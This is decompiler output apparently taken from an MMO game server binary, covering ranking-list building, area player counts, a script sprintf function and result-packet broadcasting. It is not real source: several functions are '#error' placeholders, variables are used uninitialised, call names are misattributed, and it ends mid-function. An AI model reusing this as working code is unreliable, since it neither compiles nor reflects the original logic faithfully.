AxialListKQResult::_AxialListKQResult(AxialListKQResult *this) { AxialListNearGateFind *v1; // esi@1 v1 = (AxialListNearGateFind *)this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQResult::_vftable_; _eh_vector_destructor_iterator_( this->alkqr_Array, 0x30u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); AxialListNearGateFind::_AxialListNearGateFind(v1); } // 651C90: using guessed type int (__stdcall *AxialListKQResult___vftable_)(int, int, int distancesquar); //----- (004C92D0) -------------------------------------------------------- #error "4C92D0: undefined or illegal type '#593' (funcsize=61)" //----- (004C93B0) -------------------------------------------------------- #error "4C93B0: undefined or illegal type '#593' (funcsize=83)" //----- (004C94F0) -------------------------------------------------------- #error "4C94F0: undefined or illegal type '#593' (funcsize=117)" //----- (004C96A0) -------------------------------------------------------- #error "4C96A0: undefined or illegal type '#593' (funcsize=115)" //----- (004C9860) -------------------------------------------------------- void __thiscall AxialListKQResult::alkqr_MakeList(AxialListKQResult *this, PineScriptToken *buffer, PROTO_NC_KQ_SCORE_CMD *array) { AxialListKQResult *v3; // edi@1 DebugLogging *v4; // ebp@6 _iobuf *v5; // eax@8 DebugLogging *v6; // ebp@10 _iobuf *v7; // eax@12 DebugLogging *v8; // ebp@14 _iobuf *v9; // eax@16 DebugLogging *v10; // ebp@18 _iobuf *v11; // eax@20 DebugLogging *v12; // ebp@22 _iobuf *v13; // eax@24 DebugLogging *v14; // ebp@26 _iobuf *v15; // eax@29 int v16; // ecx@30 int v17; // eax@30 char *v18; // ecx@30 int v19; // edx@30 int v20; // eax@30 int v21; // eax@36 int v22; // edx@36 char v23; // cl@37 int v24; // ecx@39 char v25; // cl@42 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListKQResult::alkqr_MakeList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListKQResult::alkqr_MakeList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; qsort(v3->alkqr_Array, v3->alkqr_Pointer, 0x30u, AxialListKQResult::alkqr_ScoreCompare); PineScriptToken::pst_Clear(buffer); array->num = 0; array->base = v3->alkqr_BasePoint; array->num = 0; if ( v3->alkqr_Pointer > 0 ) { do { if ( DebugLogging::dl_ActivAll ) { if ( unk_12F8B9DC ) { DebugLogging::dl_FilePoint(&KQRankingLog); if ( unk_12F8B858 ) fprintf(unk_12F8B858, "%d"); } } v4 = DebugLogging::operator<<(&KQRankingLog, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } } v6 = DebugLogging::operator<<(v4, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&argument); if ( DebugLogging::dl_ActivAll ) { if ( v8->dl_Activ ) { DebugLogging::dl_FilePoint(v8); v9 = v8->dl_FilePointer; if ( v9 ) fprintf(v9, "%d"); } } v10 = DebugLogging::operator<<(v8, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v10->dl_Activ ) { DebugLogging::dl_FilePoint(v10); v11 = v10->dl_FilePointer; if ( v11 ) fprintf(v11, "%d"); } } v12 = DebugLogging::operator<<(v10, (char *)&stru_63C688); if ( DebugLogging::dl_ActivAll ) { if ( v12->dl_Activ ) { DebugLogging::dl_FilePoint(v12); v13 = v12->dl_FilePointer; if ( v13 ) fprintf(v13, "%d"); } } v14 = DebugLogging::operator<<(v12, (char *)&unk_63D200); if ( DebugLogging::dl_ActivAll && v14->dl_Activ && v14->dl_FilePointer ) { v15 = DebugLogging::dl_FilePoint(v14); fputc(10, v15); fflush(v14->dl_FilePointer); fclose(v14->dl_FilePointer); v14->dl_FilePointer = 0; } v16 = array->num; v17 = 3 * v16; v18 = (char *)&array[1] + 34 * v16; v17 *= 16; v19 = *(_DWORD *)&v3->alkqr_Array[0].scorestr.charid.n4_name[v17]; v20 = (int)((char *)&v3->alkqr_Array[0].scorestr + v17); *(_DWORD *)v18 = v19; *((_DWORD *)v18 + 1) = *(_DWORD *)(v20 + 4); *((_DWORD *)v18 + 2) = *(_DWORD *)(v20 + 8); *((_DWORD *)v18 + 3) = *(_DWORD *)(v20 + 12); *((_WORD *)v18 + 8) = *(_WORD *)(v20 + 16); *(_DWORD *)(v18 + 18) = *(_DWORD *)(v20 + 18); *(_DWORD *)(v18 + 22) = *(_DWORD *)(v20 + 22); *(_DWORD *)(v18 + 26) = *(_DWORD *)(v20 + 26); *(_DWORD *)(v18 + 30) = *(_DWORD *)(v20 + 30); if ( array->num ) { if ( array->num == 1 ) { array[11].num = array[11].num & 0x82 | 2; } else { if ( array->num == 2 ) BYTE3(array[17].base) = BYTE3(array[17].base) & 0x83 | 3; } } else { LOBYTE(array[4].base) = array[4].base & 0x81 | 1; } MoveManager::MoveManager((DiceTaiSai *)buffer); v22 = v21 + 1; do v23 = *(_BYTE *)v21++; while ( v23 ); if ( (unsigned int)(v21 - v22) < 0xF1 ) { v24 = v3->alkqr_LimitPoint; if ( !v24 || v3->alkqr_Array[array->num].score >= v24 ) { PineScriptToken::pst_MergeNumber(buffer, v3->alkqr_Array[array->num].handle); PineScriptToken::pst_MergeString(buffer, (char *)&stru_63450C); } } v25 = array->num + 1; array->num = v25; } while ( (unsigned __int8)v25 < v3->alkqr_Pointer ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListKQResult::alkqr_MakeList"); } // 6A7AA1: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004C9C50) -------------------------------------------------------- void __thiscall AxialListKQResult::alkqr_MakeSimpleList(AxialListKQResult *this, PineScriptToken *buffer, PROTO_NC_KQ_SCORE_SIMPLE_CMD *array, int limit) { AxialListKQResult *v4; // edi@1 int v5; // ebp@1 int v6; // eax@4 int v7; // edx@4 char v8; // cl@5 int v9; // eax@8 int v10; // ecx@8 int v11; // eax@10 int v12; // ecx@10 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListKQResult::alkqr_MakeSimpleList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListKQResult::alkqr_MakeSimpleList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; qsort(v4->alkqr_Array, v4->alkqr_Pointer, 0x30u, AxialListKQResult::alkqr_ScoreCompare); PineScriptToken::pst_Clear(buffer); array->base = v4->alkqr_BasePoint; v5 = limit; if ( limit >= v4->alkqr_Pointer ) v5 = v4->alkqr_Pointer; array->num = 0; if ( v5 > 0 ) { do { MoveManager::MoveManager((DiceTaiSai *)buffer); v7 = v6 + 1; do v8 = *(_BYTE *)v6++; while ( v8 ); if ( (unsigned int)(v6 - v7) < 0xF1 ) { PineScriptToken::pst_MergeNumber(buffer, v4->alkqr_Array[array->num].handle); PineScriptToken::pst_MergeString(buffer, (char *)&stru_63450C); } v9 = array->num; v10 = 3 * v9; v9 *= 28; v10 *= 16; *(_DWORD *)(&array[1].num + v9) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v10]; *(unsigned int *)((char *)&array[1].base + v9 + 3) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v10 + 4]; *(unsigned int *)((char *)&array[1].self.kill + v9 + 2) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v10 + 8]; *(unsigned int *)((char *)&array[1].self.down + v9 + 2) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v10 + 12]; *(&array[2].self.kill + 7 * array->num) = v4->alkqr_Array[array->num].score; *(unsigned int *)((char *)&array[1].self.score + 28 * array->num + 2) = v4->alkqr_Array[array->num].scorestr.killpoint; *(unsigned int *)((char *)&array[2].base + 28 * array->num + 1) = v4->alkqr_Array[array->num].scorestr.downpoint; LOBYTE(v10) = array->num + 1; array->num = v10; } while ( (unsigned __int8)v10 < v5 ); } if ( array->num < v4->alkqr_Pointer ) { do { v11 = array->num; v12 = 3 * v11; v11 *= 28; v12 *= 16; *(_DWORD *)(&array[1].num + v11) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v12]; *(unsigned int *)((char *)&array[1].base + v11 + 3) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v12 + 4]; *(unsigned int *)((char *)&array[1].self.kill + v11 + 2) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v12 + 8]; *(unsigned int *)((char *)&array[1].self.down + v11 + 2) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v12 + 12]; *(&array[2].self.kill + 7 * array->num) = v4->alkqr_Array[array->num].score; *(unsigned int *)((char *)&array[1].self.score + 28 * array->num + 2) = v4->alkqr_Array[array->num].scorestr.killpoint; *(unsigned int *)((char *)&array[2].base + 28 * array->num + 1) = v4->alkqr_Array[array->num].scorestr.downpoint; LOBYTE(v12) = array->num + 1; array->num = v12; } while ( (unsigned __int8)v12 < v4->alkqr_Pointer ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListKQResult::alkqr_MakeSimpleList"); } //----- (004C9E90) -------------------------------------------------------- #error "4C9E90: undefined or illegal type '#593' (funcsize=144)" //----- (004CA0A0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShinePlayerInArea::sfb_Calculate(PineEventScriptNode::SysFuncShinePlayerInArea *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { const char *v4; // eax@1 void *v5; // ecx@2 Movie::Theater *v6; // ecx@6 const char *v7; // eax@7 unsigned int v8; // eax@7 unsigned __int16 v9; // si@7 const char *v10; // eax@9 int v11; // esi@10 Movie::Theater *v12; // ecx@11 PineScriptToken *v13; // eax@14 PineScriptToken *v14; // esi@14 char Area[4]; // [sp+18h] [bp-378h]@1 int v17; // [sp+1Ch] [bp-374h]@1 int v18; // [sp+20h] [bp-370h]@1 int v19; // [sp+24h] [bp-36Ch]@1 int v20; // [sp+28h] [bp-368h]@1 int v21; // [sp+2Ch] [bp-364h]@1 int v22; // [sp+30h] [bp-360h]@1 int v23; // [sp+34h] [bp-35Ch]@1 int almc; // [sp+38h] [bp-358h]@2 __int16 v25; // [sp+3Ch] [bp-354h]@6 int v26; // [sp+40h] [bp-350h]@6 int v27; // [sp+44h] [bp-34Ch]@6 int v28; // [sp+48h] [bp-348h]@6 int v29; // [sp+4Ch] [bp-344h]@6 int v30; // [sp+50h] [bp-340h]@6 int v31; // [sp+54h] [bp-33Ch]@6 int v32; // [sp+58h] [bp-338h]@6 int v33; // [sp+5Ch] [bp-334h]@6 int v34; // [sp+60h] [bp-330h]@6 int v35; // [sp+64h] [bp-32Ch]@6 int v36; // [sp+68h] [bp-328h]@6 int v37; // [sp+6Ch] [bp-324h]@6 int v38; // [sp+70h] [bp-320h]@6 char (__thiscall *v39)(AxialListMobInAreaCounter *, #593 *, #593 *); // [sp+74h] [bp-31Ch]@6 PineScriptToken mobindex; // [sp+78h] [bp-318h]@1 PineScriptToken thisa; // [sp+178h] [bp-218h]@1 PineScriptToken areaName; // [sp+278h] [bp-118h]@1 unsigned int v43; // [sp+37Ch] [bp-14h]@1 int v44; // [sp+38Ch] [bp-4h]@1 int v45; // [sp+390h] [bp+0h]@1 v43 = (unsigned int)&v45 ^ __security_cookie; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShinePlayerInArea"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShinePlayerInArea"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v44 = 0; PineScriptToken::pst_Clear(&mobindex); LOBYTE(v44) = 1; PineScriptToken::pst_Clear(&areaName); LOBYTE(v44) = 2; PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &areaName, ps); MoveManager::MoveManager((DiceTaiSai *)&areaName); v23 = 0; v22 = 0; v21 = 0; v20 = 0; v19 = 0; v18 = 0; v17 = 0; *(_DWORD *)Area = 0; strncpy(Area, v4, 0x20u); memcpy(&thisa, PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &mobindex, ps), sizeof(thisa)); LOBYTE(v44) = 3; if ( PineScriptToken::operator__(&thisa, "player") ) { AxialListMobInAreaCounter::AxialListMobInAreaCounter( (AxialListMobInAreaCounter *)&almc, 0xFFFFu, (Name8 *)Area, 0, 0, 99999); v5 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v44) = 4; if ( v5 != 0 ) ShineObjectClass::ShineObject::so_AllInMap(v5, (int)&almc, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); goto LABEL_12; } if ( PineScriptToken::operator__(&thisa, "all") ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almc); v29 = *(_DWORD *)Area; v30 = v17; v31 = v18; v32 = v19; v33 = v20; almc = (int)AxialListMobInAreaCounter::_vftable_; v25 = -1; v26 = 0; v27 = 0; v28 = 99999; v34 = v21; v35 = v22; v36 = v23; v37 = 0; v38 = 0; v39 = AxialListMobInAreaCounter::ala_SearchAll; v6 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v44) = 5; Movie::Theater::t_AllInMap(v6, (AxialListIterator *)&almc); almc = (int)AxialListMobInAreaCounter::_vftable_; LABEL_13: v11 = v27; LOBYTE(v44) = 3; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almc); goto LABEL_14; } MoveManager::MoveManager((DiceTaiSai *)&mobindex); v8 = BTree::operator__(&mobdatabox.mdb_btree, v7); v9 = -1; if ( v8 != -1 ) v9 = v8; MoveManager::MoveManager((DiceTaiSai *)&mobindex); if ( !ps_assert(v9 != -1, "PineEventScriptNode::SysFuncShineCount::sfb_Calculate : MobName wrong", v10) ) { AxialListMobInAreaCounter::AxialListMobInAreaCounter( (AxialListMobInAreaCounter *)&almc, v9, (Name8 *)Area, 0, ALMC_MOB, 99999); v12 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v44) = 6; Movie::Theater::t_AllInMap(v12, (AxialListIterator *)&almc); LABEL_12: almc = (int)AxialListMobInAreaCounter::_vftable_; goto LABEL_13; } v11 = 0; LABEL_14: LOBYTE(v44) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); v13 = PineScriptToken::pst_Clear(buffer); v14 = PineScriptToken::pst_MergeNumber(v13, v11); LOBYTE(v44) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&areaName); LOBYTE(v44) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); --funcallanalizer.fca_stackpoint; v44 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShinePlayerInArea"); return v14; } // 651314: using guessed type int (__stdcall *AxialListMobInAreaCounter___vftable_[2])(int, int, int distancesquar); //----- (004CA420) -------------------------------------------------------- #error "4CA420: undefined or illegal type '#593' (funcsize=121)" //----- (004CA600) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineSPrintF1::sfb_Calculate(PineEventScriptNode::SysFuncShineSPrintF1 *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { PineScriptToken *v4; // eax@1 PineScriptToken *v5; // eax@1 ShineScript *v6; // ebp@3 char *v7; // eax@3 const char *v8; // eax@3 const char *v9; // ebp@3 PineScriptToken *v10; // eax@5 PineScriptToken *result; // eax@8 PineScriptTemporaryString::StringStorage *v12; // eax@9 unsigned int v13; // edx@9 unsigned int v14; // ecx@9 PineScriptTemporaryString::StringStorage *v15; // esi@9 signed int v16; // edi@9 int v17; // ecx@10 signed int v18; // eax@10 char v19; // al@11 int v20; // ecx@17 signed int v21; // eax@17 char v22; // al@18 int v23; // ecx@24 signed int v24; // eax@24 char v25; // al@25 int v26; // ecx@31 signed int v27; // eax@31 char v28; // al@32 int v29; // ecx@38 signed int v30; // eax@38 char v31; // al@39 signed int v32; // eax@45 char v33; // al@46 PineScriptToken *v34; // eax@53 PineScriptToken *thisa; // [sp+10h] [bp-13Ch]@1 int v36; // [sp+14h] [bp-138h]@1 FunctionEntarance _; // [sp+18h] [bp-134h]@1 PineScriptToken arg; // [sp+1Ch] [bp-130h]@1 char idx; // [sp+11Ch] [bp-30h]@17 char v40; // [sp+11Dh] [bp-2Fh]@24 char v41; // [sp+11Eh] [bp-2Eh]@31 char v42; // [sp+11Fh] [bp-2Dh]@38 char v43; // [sp+120h] [bp-2Ch]@45 char v44[25]; // [sp+121h] [bp-2Bh]@52 char v45; // [sp+13Ah] [bp-12h]@53 unsigned int v46; // [sp+13Ch] [bp-10h]@1 int v47; // [sp+148h] [bp-4h]@1 v46 = (unsigned int)&thisa ^ __security_cookie; thisa = buffer; _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineSPrintF1::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineSPrintF1::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineSPrintF1::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v47 = 0; v4 = PineScriptToken::pst_Clear(buffer); PineScriptToken::pst_MergeString(v4, " "); PineScriptToken::pst_Clear(&arg); LOBYTE(v47) = 1; v5 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &arg, ps); v36 = v5 != 0; if ( v5 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::SysFuncShineSPrintF1::sfb_Calculate", 0); LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); --funcallanalizer.fca_stackpoint; v47 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineSPrintF1::sfb_Calculate"); goto LABEL_8; } v6 = *(ShineScript **)&ps->gap10114[28]; MoveManager::MoveManager((DiceTaiSai *)&arg); v8 = ShineScript::ss_String(v6, v7); v9 = v8; if ( !v8 || !*v8 ) { LABEL_7: LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); --funcallanalizer.fca_stackpoint; v47 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineSPrintF1::sfb_Calculate"); goto LABEL_8; } v10 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &arg, ps); v36 = v10 != 0; if ( v10 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::SysFuncShineSPrintF1::sfb_Calculate", 1); goto LABEL_7; } v12 = PineScriptTemporaryString::psts_Get(&g_PineScriptTemporaryString); v13 = rndbox.rb_box[36].rs_point.mask; v14 = rndbox.rb_box[36].rs_point.value; v15 = v12; v16 = 0; do { v17 = v13 & (v14 + 1); rndbox.rb_box[36].rs_point.value = v17; v18 = rndbox.rb_box[36].rs_slot[v17]; if ( v18 >= 10 ) { if ( v18 >= 36 ) { if ( v18 >= 62 ) v19 = v18 + 95; else v19 = v18 + 61; } else { v19 = v18 + 55; } } else { v19 = v18 + 48; } v20 = v13 & (v17 + 1); *(&idx + v16) = v19; rndbox.rb_box[36].rs_point.value = v20; v21 = rndbox.rb_box[36].rs_slot[v20]; if ( v21 >= 10 ) { if ( v21 >= 36 ) { if ( v21 >= 62 ) v22 = v21 + 95; else v22 = v21 + 61; } else { v22 = v21 + 55; } } else { v22 = v21 + 48; } v23 = v13 & (v20 + 1); *(&v40 + v16) = v22; rndbox.rb_box[36].rs_point.value = v23; v24 = rndbox.rb_box[36].rs_slot[v23]; if ( v24 >= 10 ) { if ( v24 >= 36 ) { if ( v24 >= 62 ) v25 = v24 + 95; else v25 = v24 + 61; } else { v25 = v24 + 55; } } else { v25 = v24 + 48; } v26 = v13 & (v23 + 1); *(&v41 + v16) = v25; rndbox.rb_box[36].rs_point.value = v26; v27 = rndbox.rb_box[36].rs_slot[v26]; if ( v27 >= 10 ) { if ( v27 >= 36 ) { if ( v27 >= 62 ) v28 = v27 + 95; else v28 = v27 + 61; } else { v28 = v27 + 55; } } else { v28 = v27 + 48; } v29 = v13 & (v26 + 1); *(&v42 + v16) = v28; rndbox.rb_box[36].rs_point.value = v29; v30 = rndbox.rb_box[36].rs_slot[v29]; if ( v30 >= 10 ) { if ( v30 >= 36 ) { if ( v30 >= 62 ) v31 = v30 + 95; else v31 = v30 + 61; } else { v31 = v30 + 55; } } else { v31 = v30 + 48; } v14 = v13 & (v29 + 1); *(&v43 + v16) = v31; rndbox.rb_box[36].rs_point.value = v14; v32 = rndbox.rb_box[36].rs_slot[v14]; if ( v32 >= 10 ) { if ( v32 >= 36 ) { if ( v32 >= 62 ) v33 = v32 + 95; else v33 = v32 + 61; } else { v33 = v32 + 55; } } else { v33 = v32 + 48; } v44[v16] = v33; v16 += 6; } while ( v16 < 30 ); v45 = 0; *(_DWORD *)&v15->ss_Index.n8_name[28] = 0; *(_DWORD *)&v15->ss_Index.n8_name[24] = 0; *(_DWORD *)&v15->ss_Index.n8_name[20] = 0; *(_DWORD *)&v15->ss_Index.n8_name[16] = 0; *(_DWORD *)&v15->ss_Index.n8_name[12] = 0; *(_DWORD *)&v15->ss_Index.n8_name[8] = 0; *(_DWORD *)&v15->ss_Index.n8_name[4] = 0; *(_DWORD *)&v15->ss_Index.n8_name[0] = 0; strncpy(v15->ss_Index.n8_name, &idx, 0x20u); MoveManager::MoveManager((DiceTaiSai *)&arg); sprintf(v15->ss_Content, v9); v34 = PineScriptToken::pst_Clear(thisa); PineScriptToken::pst_MergeString(v34, &idx); LOBYTE(v47) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&arg); --funcallanalizer.fca_stackpoint; v47 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineSPrintF1::sfb_Calculate"); LABEL_8: __security_check_cookie((unsigned int)&thisa ^ v46); return result; } // 4CA600: using guessed type char var_2B[25]; //----- (004CA9C0) -------------------------------------------------------- void __cdecl std::generate>::iterator_ArrGen>(std::vector >::iterator _First, std::vector >::iterator _Last, ArrGen _Func) { std::vector >::iterator v3; // eax@1 int v4; // edx@2 v3 = _First; if ( _First != _Last ) { v4 = _Func.from_; do { **(_DWORD **)&v3 = v4; *(_DWORD *)&v3 += 4; v4 += _Func.step_; } while ( v3 != _Last ); } } //----- (004CA9F0) -------------------------------------------------------- void __thiscall AxialListKQResult::AxialListKQResult(AxialListKQResult *this, void (__thiscall *scorefunction)(AxialListKQResult *, #593 *), char (__thiscall *workerFunction)(AxialListKQResult *, #593 *, #593 *, unsigned int), int basepoint, int limitScore) { AxialListKQResult *v5; // esi@1 v5 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v5->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQResult::_vftable_; _eh_vector_constructor_iterator_( v5->alkqr_Array, 0x30u, 128, (void (__thiscall *)(void *))AxialListKQResult::ALKQR::ALKQR, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v5->alkqr_BasePoint = basepoint; v5->alkqr_LimitPoint = limitScore; v5->alkqr_worker = workerFunction; v5->alkqr_Pointer = 0; v5->alkqr_ScoreFunction = scorefunction; } // 651C90: using guessed type int (__stdcall *AxialListKQResult___vftable_)(int, int, int distancesquar); //----- (004CAA80) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineKQResultList::sfb_Calculate(PineEventScriptNode::SysFuncShineKQResultList *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { void *v4; // esp@1 void (__thiscall *v5)(AxialListKQResult *, #593 *); // esi@6 char (__thiscall *v6)(AxialListKQResult *, #593 *, #593 *, unsigned int); // edi@8 void *v7; // ecx@11 char *v8; // esi@14 char *v9; // edi@14 void *v10; // ecx@14 int basepoint; // [sp+0h] [bp-1A4Ch]@1 int limitScore; // [sp+4h] [bp-1A48h]@3 char v14; // [sp+10h] [bp-1A3Ch]@14 PineScriptToken thisa; // [sp+1Ch] [bp-1A30h]@1 DiceTaiSaiDividind v16; // [sp+11Ch] [bp-1930h]@5 char v17; // [sp+21Ch] [bp-1830h]@11 unsigned int v18; // [sp+1A38h] [bp-14h]@1 PineEventScriptNode::SysFuncShineKQResultList *v19; // [sp+1A3Ch] [bp-10h]@1 int v20; // [sp+1A48h] [bp-4h]@1 int v21; // [sp+1A4Ch] [bp+0h]@1 v19 = this; v4 = alloca(6716); v18 = (unsigned int)&v21 ^ __security_cookie; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v20 = 0; PineScriptToken::pst_Clear(&thisa); LOBYTE(v20) = 1; basepoint = 0; PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &thisa, ps); if ( PineScriptToken::operator__(&thisa, byte_635E1E) ) basepoint = PineScriptToken::pst_GetNumber(&thisa, 0); limitScore = 0; PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 2u, &thisa, ps); if ( PineScriptToken::operator__(&thisa, byte_635E1E) ) limitScore = PineScriptToken::pst_GetNumber(&thisa, 0); memcpy(&v16, PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &thisa, ps), sizeof(v16)); LOBYTE(v20) = 2; if ( PineScriptToken::operator__((PineScriptToken *)&v16, "ConditionOfHero") ) { v5 = AxialListKQResult::alkqr_Score_ConditionOfHero; LABEL_10: v6 = AxialListKQResult::defaultWorker; goto LABEL_11; } if ( PineScriptToken::operator__((PineScriptToken *)&v16, "NewConditionOfHero") ) { v5 = AxialListKQResult::alkqr_Score_Default; v6 = AxialListKQResult::zerosumWorker; goto LABEL_11; } v5 = AxialListKQResult::alkqr_Score_Default; v6 = AxialListKQResult::MatchingPKWorker; if ( !PineScriptToken::operator__((PineScriptToken *)&v16, "MatchingConditionOfHero") ) goto LABEL_10; LABEL_11: LOBYTE(v20) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut(&v16); AxialListKQResult::AxialListKQResult((AxialListKQResult *)&v17, v5, v6, basepoint, limitScore); v7 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v20) = 3; if ( v7 ) ShineObjectClass::ShineObject::so_AllInMap(v7, (int)&v17, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); AxialListKQResult::alkqr_CalcScore((AxialListKQResult *)&v17); v8 = gpp.pp_Buffer; v9 = gpp.pp_Buffer + 2; AxialListKQResult::alkqr_MakeList((AxialListKQResult *)&v17, buffer, (PROTO_NC_KQ_SCORE_CMD *)(gpp.pp_Buffer + 2)); *(_WORD *)v8 = 22548; AxialListPacketBroadcast::AxialListPacketBroadcast( (AxialListPacketBroadcast *)&v14, &gpp, 34 * (unsigned __int8)*v9 + 7); v10 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v20) = 4; if ( v10 ) ShineObjectClass::ShineObject::so_AllInMap(v10, (int)&v14, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v20) = 3; AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)&v14); LOBYTE(v20) = 1; AxialListKQResult::_AxialListKQResult((AxialListKQResult *)&v17); LOBYTE(v20) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); --funcallanalizer.fca_stackpoint; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); return buffer; } //----- (004CAD80) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineKQTop::sfb_Calculate(PineEventScriptNode::SysFuncShineKQTop *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { void (__thiscall *v4)(AxialListKQResult *, #593 *); // esi@4 char (__thiscall *v5)(AxialListKQResult *, #593 *, #593 *, unsigned int); // edi@6 void *v6; // ecx@9 char *v7; // ebx@12 char *v8; // esi@12 int v9; // edi@12 int v10; // ebx@12 char v11; // al@12 int v12; // edi@15 int v13; // ebp@16 int v14; // ebx@20 int v15; // ebx@20 int v16; // eax@22 bool v17; // sf@24 unsigned __int8 v18; // of@24 PineScriptToken *result; // eax@25 int 